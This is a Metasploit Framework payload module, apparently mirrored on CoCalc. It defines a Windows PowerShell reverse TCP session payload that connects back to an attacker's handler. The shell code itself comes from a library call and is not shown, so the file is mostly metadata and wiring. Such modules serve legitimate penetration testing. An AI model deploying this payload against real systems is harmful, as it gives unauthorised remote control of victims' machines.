CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/powershell_reverse_tcp.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'rex/powershell'
6
7
module MetasploitModule
8
CachedSize = :dynamic
9
10
include Msf::Payload::Windows::Exec
11
include Msf::Payload::Windows::Powershell
12
include Rex::Powershell::Command
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
19
'Description' => 'Listen for a connection and spawn an interactive powershell session',
20
'Author' => [
21
'Ben Turner', # benpturner
22
'Dave Hardy' # davehardy20
23
],
24
'References' => [
25
['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => 'win',
29
'Arch' => ARCH_X86,
30
'Handler' => Msf::Handler::ReverseTcp,
31
'Session' => Msf::Sessions::PowerShell
32
)
33
)
34
end
35
36
#
37
# Override the exec command string
38
#
39
def powershell_command
40
generate_powershell_code('Reverse')
41
end
42
end
43
44